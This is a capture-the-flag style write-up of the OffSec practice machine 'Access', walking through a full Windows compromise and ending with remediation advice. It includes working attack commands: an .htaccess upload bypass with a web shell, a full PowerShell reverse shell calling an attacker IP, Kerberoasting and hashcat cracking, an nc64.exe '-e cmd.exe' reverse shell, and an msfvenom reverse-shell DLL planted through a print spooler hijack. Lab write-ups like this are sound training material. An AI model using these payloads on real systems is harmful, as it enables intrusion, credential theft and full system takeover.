PT1 certified | OSCP in progress

Access – OffSec Practice Writeup

Summary

Access is a medium-difficulty Windows machine running a domain-joined XAMPP web stack. The foothold comes from an arbitrary file upload on a ticketing feature: although the application blacklists script extensions, the uploads directory allows writing a custom .htaccess file, which we abuse to register a brand-new extension as PHP and bypass the filter entirely for a web shell and RCE.

As the low-privileged web service account we enumerate the local accounts and find a service account whose Kerberos ticket is roastable. We Kerberoast it, crack the TGS offline to recover its cleartext password, and use credential-based execution (RunasCs) to pivot into that service account’s security context.

Finally, local privilege escalation leverages the dangerous SeManageVolumePrivilege held by the service account: we use it to grant full control over C:\Windows, drop a malicious Printconfig.dll into the print spooler driver directory, and trigger it through a COM object to obtain code execution as NT AUTHORITY\SYSTEM.


Reconnaissance

Port enumeration

rustscan -a 192.168.110.187 -- -sCV -oN target

The open ports identify a domain-joined Windows host (DNS, Kerberos, LDAP and SMB all present — this is a Domain Controller / AD environment):

PortServiceInfo
53DNS
80HTTP
88Kerberos
135RPC
139NetBIOS
389LDAP
443HTTPSApache/2.4.48
445SMB

Web enumeration

The web application exposes a ticket creation feature that accepts an image upload. Content discovery with feroxbuster reveals a publicly accessible /uploads/ directory where submitted files land:

feroxbuster -u http://192.168.110.187/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

The upload form enforces an extension blacklist. The following bypasses were all rejected:

  • Alternative PHP extensions: .php2, .php3, .phtml, …
  • Case variations: .Php, .PhP, …
  • Null-byte / space tricks: shell.php%00.jpg, shell.php%20, …
  • Embedding PHP code inside a valid JPEG payload.

Initial access

Since the uploads directory is served by Apache and we can write arbitrary filenames into it, we abuse an .htaccess override to defeat the extension blacklist entirely.

An .htaccess file applies per-directory Apache configuration. By uploading one that maps a non-blacklisted extension to the PHP handler, Apache will execute any file with that extension as PHP:

AddType application/x-httpd-php .evil

The .htaccess file is not on the blacklist, so it uploads without issue. We then create web-shell.evil containing a PHP web shell (simple-php-web-shell) and upload it — the .evil extension is now parsed as PHP.

Browsing to /uploads/web-shell.evil gives us RCE. We confirm the working directory:

echo %cd%

To upgrade to an interactive shell, we build a base64-encoded PowerShell reverse shell on our attack box:

pwsh
$Text = '$client = New-Object System.Net.Sockets.TCPClient("192.168.45.217",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
$EncodedText = [Convert]::ToBase64String($Bytes)
$EncodedText
exit

Start a listener (nc -lvnp 4444), then execute the encoded payload through the web shell:

powershell -enc <ENCODED-TEXT>

We catch a shell as the Apache service account.


Lateral movement

The XAMPP folder holds nothing of interest, so we pivot to account enumeration. Listing local users reveals a promising service account:

net users

svc_mssql stands out as a SQL service account — a classic Kerberoasting target, since service accounts almost always have a registered SPN.

We upload Rubeus and request roastable service tickets:

.\Rubeus.exe kerberoast /outfile:hashes.kerberoast

svc_mssql is kerberoastable. We transfer the hash back and crack it offline with Hashcat (mode 13100 = Kerberos 5 TGS-REP etype 23):

hashcat -a 0 -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt

This recovers the password for svc_mssql: trustno1.

With valid credentials, we use Invoke-RunasCs.ps1 to execute commands in the svc_mssql context:

Import-Module .\Invoke-RunasCs.ps1
Invoke-RunasCs svc_mssql trustno1 whoami
# -> access\svc_mssql

We upload nc64.exe and spawn a reverse shell as svc_mssql:

Invoke-RunasCs svc_mssql trustno1 'C:\users\Public\Tools\nc64.exe 192.168.45.217 4444 -e cmd.exe'

Privilege escalation

Running PrivescCheck.ps1 to triage the svc_mssql context:

powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck"

Two findings stand out:

  1. The account holds SeManageVolumePrivilege — an abusable token privilege.
  2. Weak service binary permissions on the Apache HTTP Server service (BUILTIN\Users can AddFile/AddSubdirectory under C:\Xampp\apache\bin):
Name              : ApacheHTTPServer
ImagePath         : "C:\Xampp\apache\bin\httpd.exe" -k runservice
ModifiablePath    : C:\Xampp\apache\bin
IdentityReference : BUILTIN\Users (S-1-5-32-545)
Permissions       : AddFile / AddSubdirectory
[*] STATUS  : VULNERABLE (High)

We take the SeManageVolumePrivilege path, following the technique from HackingArticles. SeManageVolumePrivilege lets its holder perform volume maintenance tasks, which can be abused to grant BUILTIN\Users full control over C:\Windows.

1. Audit the initial ACL on C:\Windows:

icacls C:\Windows

2. Download and run SeManageVolumeExploit:

.\SeManageVolumeExploit.exe

3. Re-check the ACL — BUILTIN\Users now has (F) full control over C:\Windows and its subtree.

4. Generate a malicious Printconfig.dll reverse shell DLL:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.217 LPORT=4444 -f dll -o Printconfig.dll

5. Overwrite the spooler driver DLL by copying ours into the print spooler driver directory (now writable thanks to the ACL change):

copy Printconfig.dll C:\Windows\System32\spool\drivers\x64\3\

6. Instantiate the Print Spooler COM object in PowerShell to load our DLL — no physical printer required:

$type = [Type]::GetTypeFromCLSID("{854A20FB-2D44-457D-992F-EF13785D2B51}")
$object = [Activator]::CreateInstance($type)

The spooler loads our Printconfig.dll and we receive a shell as NT AUTHORITY\SYSTEM. Machine fully compromised.


Conclusion

Access chains three well-known Windows/AD misconfigurations into full SYSTEM compromise:

  • Blacklist-based upload filtering is fatally flawed. The application tried to block dangerous extensions but left the uploads directory writable and Apache-interpreted. Because .htaccess itself was not blacklisted, an attacker simply redefined which extensions Apache treats as PHP. The correct fix is a strict allowlist of extensions, renaming uploaded files server-side, storing uploads in a non-executable location, and disabling .htaccess overrides (AllowOverride None).
  • Service accounts with SPNs and weak passwords enable Kerberoasting. svc_mssql used the trivially crackable password trustno1. Service accounts should use long, random passwords (or Group Managed Service Accounts, gMSA) to make offline TGS cracking infeasible.
  • SeManageVolumePrivilege is effectively SYSTEM. Granting this privilege to a service account allowed arbitrary ACL rewrites on C:\Windows, leading to DLL hijacking of the print spooler. This privilege should never be assigned to non-administrative service accounts.
Index